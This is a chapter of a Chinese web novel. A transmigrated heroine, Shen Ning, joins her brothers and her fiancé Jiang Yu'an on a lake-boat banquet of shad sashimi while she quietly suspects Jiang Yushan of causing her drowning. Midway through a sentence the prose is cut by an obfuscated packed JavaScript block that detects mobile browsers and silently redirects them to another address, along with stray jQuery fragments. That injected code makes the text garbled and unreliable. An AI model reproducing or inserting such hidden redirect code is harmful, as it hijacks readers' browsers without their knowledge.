沈宁和他对视了片刻,还是移开了视线。
沈学适时地开口:“别站着了,都上去吧。”
沈宁轻轻舒了口气。
船舱华丽开阔,舱门镂刻着彩莲图,莲女多姿,莲叶聘亭。
船舱内陈设六扇屏风和案几,屏风绘以《潇湘八景》取其六,略去“潇湘夜雨”和“烟寺晚钟”二景,案几放着瓜果吃食、炉瓶三事还有卷轴。
沈宁对此识得不多,却认得置于案几上的鱼魫炉。
去年和家人游湖,自己不吃生食,沈父便备了一只鱼魫炉。
她觉得这和现代的一人食小火锅差不多,不过不同的是,这里用的是可拆卸小银锅,小银锅下面是镂空炭室,不是电磁。
“这是煜安特意为五妹妹准备的。”一道声音低低的响起。
沈宁侧头,看见四哥沈明站在了她的身侧,朝她眨了眨眼,眼中不伐揶揄。
她记得,她刚来到这里时,正是沈明冲在最前面,眼眶通红。
相处久了才知道,沈明可不是那么容易红了眼眶的人,而是对原身这个妹妹真的爱护。
只听沈明又道:“五妹妹自从落水后就不再吃生食,煜安知道后,才特意备了鱼魫炉。”
沈宁自从落水后,与江煜安见面的次数屈指可数,沈明也是在隐晦地告诉她,江煜安时时念着她。
她怎会不知道呢?
每逢书院休假,江煜安都会带些小物件给她,大多是他亲手做的。
从彩绘泥塑到木雕小偶,个个精巧无比。
原身有个长约三尺半的箱子,箱子有五层,每一层置一方长匣,里面都摆满了江煜安送的各种小物件。
可见原身真的很喜欢。
沈宁将他这两年送的东西也摆放在了箱中,每每看到这些,作为外人的她不仅能感受到江煜安的心意,也能感受到原身对江煜安心意的珍惜。
也因此,她每次见到江煜安时,心情复杂,只有逃避。
沈宁没接沈明的这通话茬,转而问道:“今日晚膳我们在船上吃?”
沈明还没开口,她的另一侧有人开了口:“现在鲥鱼正当时令,等下我和大哥、二哥去钓鱼,咱们晚上吃鱼脍。”
侧面回答了晚膳在船上吃,吃鲥鱼。
她侧头,又对上了江煜安温柔的眼眸。
她心下烦乱,正当不知如何接话时,画舫缓缓启动,向湖心行去,她没站稳趔趄了一下,被眼疾手快的江煜安扶住了:“小心。”
声音和眼神都透着关切。
沈宁站稳后低声道了谢,仓皇出了船舱。
江煜安怔然了一瞬又恢复了浅笑,沈明拍了拍他的肩,二人一起也出了船舱。
画舫渐渐远离了渡口,远处拂堤杨柳依依,近处湖中水波滟滟,苍山碧景,长空浩荡。
画舫行了不到半个时辰,终于到了湖心。
江煜安和沈学、沈问三人取出渔具,挂饵抛竿垂钓起来。
沈宁、江语珊和沈慎、沈明四人则安静赏景。
沈家四兄弟里,沈慎、沈明本也是钓鱼的好手,相反沈问最不擅长。
此次是怕沈宁再度落水,沈问又对江语珊十分不客气,才让两兄弟过来陪着,实则是盯着。
沈宁感动于沈家的兄妹情谊,同时也对原身落水的原因产生了怀疑。
按江语珊所说,原身是因为水蛇窜上船害怕躲避才落水的。
沈宁不了解水蛇,她问了夏竹和冬竹,她们从小到大从没听过在湖心会遇到水蛇。
水蛇通常会潜藏在岸边浅水区或水草丛,湖心水深且清,并不是水蛇出没的地方。
再从沈家兄弟的表现来看,或许真的与江语珊有关。
其实要知道真相也不难,只要她装作恢复记忆了,去探探江语珊的底,一切就都真相大白了。
然而她能想到,沈父沈母和沈家四兄弟想不到吗?
但凡他们放出她已经恢复记忆的消息,就能从江语珊的表现中窥见真相。
之所以没这样做,不过是不想坏了女儿和江煜安的情谊罢了。
在他们眼中,女儿开心平安比什么都重要。
沈宁也曾想过,沈家以女儿落水失忆为由拖延纳吉,未尝没有对江家警告的意思。
此刻,不知江语珊是不是因被沈问接二连三怼了几次,现在安安静静的赏景,不多一言。
船首已经起了灶,因今日不仅只是游船赏景,还要在画舫上吃船宴,沈学在租画舫时,便留下了船娘和她的帮厨。
江煜安和沈学都是钓鱼的好手,没多一会儿的功夫,二人旁边的木桶中已经各有了两三条鱼,不过不是鲥鱼。
鲥鱼这种鱼触网即死【1】,离水后鲜味迅速流失,为了保留鲜味,都是即捕即食。
捕鲥鱼要用专门的鲥鱼笱,捕上来如果不马上吃的话,要立刻移入船舱的活水舱。
江煜安和沈学又各自钓了两条便收了竿,二人木桶里的鱼加起来足足有八九条,只有沈问旁边的木桶里面空空荡荡,除了半桶东湖水。
船娘已经先从二人钓上来的鱼中捡了三条鲈鱼出来,宰杀去鳞,两条做了酒蒸鲈鱼,一条切成鱼片做成了鲈鱼粥。
三人收竿的时候,鲈鱼的鲜味在画舫上晕散开来。
在旁侧赏景的四人,已经顺着味道走了过来,七人围着长案落座。
沈学、沈宁和一对双生子依次坐在长案一边,江煜安、江语珊和沈问坐在长案另一边,只不过沈问和江语珊中间隔了一人的位置,与四弟沈明相对。
长案上的瓜果卷轴已经撤下,摆上了提前做好的几道时令鲜蔬,船娘让帮厨又将酒蒸鲈鱼和鲈鱼粥先端了上来,然后才打开船舱的活水舱,取鲥鱼做起鱼脍来。
沈宁知道鲥鱼脍是生食,去年因自己从未吃过生食而不敢入口,所有人都以为是自己落水后口味变了。
这一年她看了很多杂书,其中就有讲到鲥鱼之鲜美,这才让她蠢蠢欲动起来。
沈宁一边喝着鲈鱼粥,一边看着船娘将鱼处理好,又刀工利落的将鲥鱼连鳞薄切成片,每片薄如蝉翼。
她记得杂书上有写,鲥鱼之鲜在于鳞,鳞下脂肪极丰,鳞在,鲜味才不会迅速流失【2】。
她想象不出鲥鱼之鲜,今日终于有机会可以大饱口福。
她这般想着,其他几人也说起话来。
“二哥和三弟对今年的武科考试可有把握?”
江煜安一边问着一边给自己倒了一杯松江三白,隔着江语珊朝沈问、沈慎举杯示意,自顾饮下。
沈问也自顾自倒了一杯饮下,大喇喇回道:“区区一个武科,我还不放在眼里。”
话落就挨了大哥沈学一瞪:“不可骄矜自傲,当心自满倾覆!你应学学三弟,稳重持正。”
沈问敷衍的说着“知道了,知道了”,自顾自又倒了一杯酒饮下。
沈家四兄弟,沈学和沈明习文,大哥沈学三年前过了乡试,没急着参加会试,四哥沈明前几日刚参加了院试,还未发榜。
二人都在青山书院读书。
沈问和沈慎习武,二人相差两岁,于去年过了武童试,现在都已入了临州武学。
沈家四兄弟,除了四哥沈明,如今二哥沈问、三哥沈慎都是武秀才,可以参加乡试了,大哥沈学已经是举人,等着参加明年会试。
沈明即便这次过了院试,也打算三年后再参加乡试。
江煜安又微笑着看向沈慎,沈慎硬邦邦道:“我和二哥一样。”
话音一落,沈学被刚入口的鱼粥呛到,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380716|168464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
转身掩面咳嗽起来。
沈问、沈明大笑,江煜安轻笑着给沈学倒了盏茶,让他顺顺。
江语珊撇了撇嘴白了沈问一眼。
沈宁则忍俊不禁地笑出了声。
沈宁落水后就行事淡然起来,就连笑也是淡淡一笑,更没像原身一样恣意纵情地大笑过。
此刻侧头看向坐在自己右手边的三哥,正泰然自若的吃着蒸鱼,仿佛刚刚自己并未说了什么了不得的话。
她眉眼弯弯地转回了头,又看向喝茶顺气的大哥,更觉得好笑了。
她又无声地弯了弯唇角准备收回目光,却对上了眉目舒朗的江煜安,正看着她笑,笑容如夏日暖风,醉人心魄。
她无法无视这样的笑,带着一丝歉疚加深了唇角的弧度,继而垂眸饮茶。
她还没想好,如何替原身对待这份真情。
众人笑声渐落,船娘也将鲥鱼处理好了。
五大盘摆成了牡丹状的鲥鱼脍呈了上来。
自从她看了杂书上说的鱼脍,便也没那般排斥生食了,今年也想尝尝被时下赞不绝口的鲥鱼脍是何滋味,因此在见到鲥鱼脍呈上来时,竟有些迫不及待。
她正准备起箸,一只青瓷浅盘就从斜对面递了过来,盘中盛着几片烫的微卷的鲥鱼脍。
她顺着青瓷浅盘抬起头,看到了江煜安满含笑意的眼。
沈宁:……
她眼眸扫过放在她和大哥之间的鱼脍,继而浅笑着接过青瓷盘,心情复杂地道谢后夹起一片,蘸上芥辣橙醋,送入口中。
坐在离她们有两个人距离的沈问见此,挑了挑眉,起身向江煜安走来:“煜安你自去吃,我来为五妹妹烫鲥鱼。”
说着就要将江煜安面前的鱼魫炉端到自己面前,也不顾下面炭室的灼热。
江煜安轻而易举地挡掉沈问伸过来的手,笑道:“二哥可知如何烫这鲥鱼脍?”
沈问:“如何烫?熟了不就行了?”
江煜安笑着又夹了一箸鲥鱼脍,边烫边解说:“这烫鲥鱼脍首先要掌握好火候,火不可强三分亦不可弱两分,鲥鱼过水两起两落,以鲥鱼将将没入水面为佳,起凝而出。”
话落,两起两落的鲥鱼脍又送到了沈宁面前的青瓷浅盘中。
沈问见江煜安行云流水般的动作,的确不是自己这个粗人做得来的,哼了哼回到自己的座位,没再去抢。
许久没说话的江语珊侧头刺道:“你不顾着我,却顾着一个早把你忘了的外人!真不知谁才是你妹妹!”
与此同时,沈宁也开了口:“煜安哥哥……”
她只喊了声“煜安哥哥”,所有人齐齐将目光望向了她,目光中有震惊、有惊喜,还有期待。
沈宁本想让江煜安自去吃,不用管她,而现在,在这些目光中又开不了口了。
沈问就是惊喜的那个:“五妹妹,你记起来了?”
沈宁这两年从未再和原身一样,喊过“煜安哥哥”,家人问起,她只说还喊不出口,搪塞说着可能什么时候记起了旧事,才能顺利地喊出来。
坐在这里的,都知道她说过这话,现在她喊了一声“煜安哥哥”,自是让人有了不同的期待。
同时,所有人都以为她又要为江煜安打抱不平了。
沈宁也想到了此处,顿了顿,心下歉疚地开口:“我没想起来,我只是想让煜安哥哥不必再顾着我,他一口都还没吃……”
几人听见沈宁如此说,有人松了口气,有人发出叹息,有人神情落寞转瞬恢复如常又再漾起笑意。
江煜安道:“无妨,五妹妹只管吃就好,为你烫鱼脍并不耽误我吃东西。”
沈宁无法拒绝他的好意,悄悄看了一眼大盘中已然散落的牡丹鲥鱼脍,心下轻轻叹息,这口福这次是享受不到了。